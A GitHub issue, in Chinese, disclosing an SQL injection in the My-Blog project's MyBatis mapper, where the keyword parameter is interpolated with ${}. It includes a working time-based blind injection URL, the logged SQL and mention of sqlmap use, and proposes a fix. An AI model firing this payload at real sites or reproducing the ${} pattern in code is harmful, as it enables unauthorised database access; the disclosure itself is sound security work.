ZHENFENG13/My-Blog

一处SQL注入漏洞.

thiscodecc opened this issue · 1 comments

代码位置

com.site.blog.my.core.controller.admin.BlogController -> com.site.blog.my.core.service.impl.BlogServiceImpl 98行调用findBlogList方法.
findBlogList具体代码

<select id="findBlogList" parameterType="Map" resultMap="BaseResultMap">
        select
        <include refid="Base_Column_List"/>
        from tb_blog
        where is_deleted=0
        <if test="keyword!=null">
            AND (blog_title like CONCAT('%','${keyword}','%' ) or blog_category_name like CONCAT('%','${keyword}','%' ))
        </if>
        <if test="blogStatus!=null">
            AND blog_status = #{blogStatus}
        </if>
        <if test="blogCategoryId!=null">
            AND blog_category_id = #{blogCategoryId}
        </if>
        order by blog_id desc
        <if test="start!=null and limit!=null">
            limit #{start},#{limit}
        </if>
    </select>

可以看到keyword关键字有注入.
攻击URL.
http://host:8888/admin/blogs/list?page=1&limit=1&keyword=1')) AND (SELECT 5211 FROM (SELECT(SLEEP(5)))wQzP)-- 注释掉后面的

打开mybatis sql日志.
t2

select blog_id, blog_title, blog_sub_url, blog_cover_image, blog_category_id, blog_category_name, blog_tags, blog_status, blog_views, enable_comment, is_deleted, create_time, update_time from tb_blog where is_deleted=0 AND (blog_title like CONCAT('%','1')) AND (SELECT 5211 FROM (SELECT(SLEEP(5)))wQzP)-- 注释掉后面的','%' ) or blog_category_name like CONCAT('%','1')) AND (SELECT 5211 FROM (SELECT(SLEEP(5)))wQzP)-- 注释掉后面的','%' )) order by blog_id desc limit ?,?

页面执行了SLEEP 5所以等了5秒才返回结果,后面的--注释掉后面的语句了.前面的))成功闭合了.
实际运行的SQL就是这个了
select blog_id, blog_title, blog_sub_url, blog_cover_image, blog_category_id, blog_category_name, blog_tags, blog_status, blog_views, enable_comment, is_deleted, create_time, update_time from tb_blog where is_deleted=0 AND (blog_title like CONCAT('%','1')) AND (SELECT 5211 FROM (SELECT(SLEEP(5)))wQzP)--

这里没有报错回显,所以得分多次请求才能看到结果,我用sqlmap工具请求.
t1

可以看到当前使用的数据库可以被读出来了.

我看别处调用的时候都用PatternUtil.validKeyword方法对keyword参数进行了校验,这个地方没有使用,使用这个方法校验就可以了或者改成#keyword的.

感谢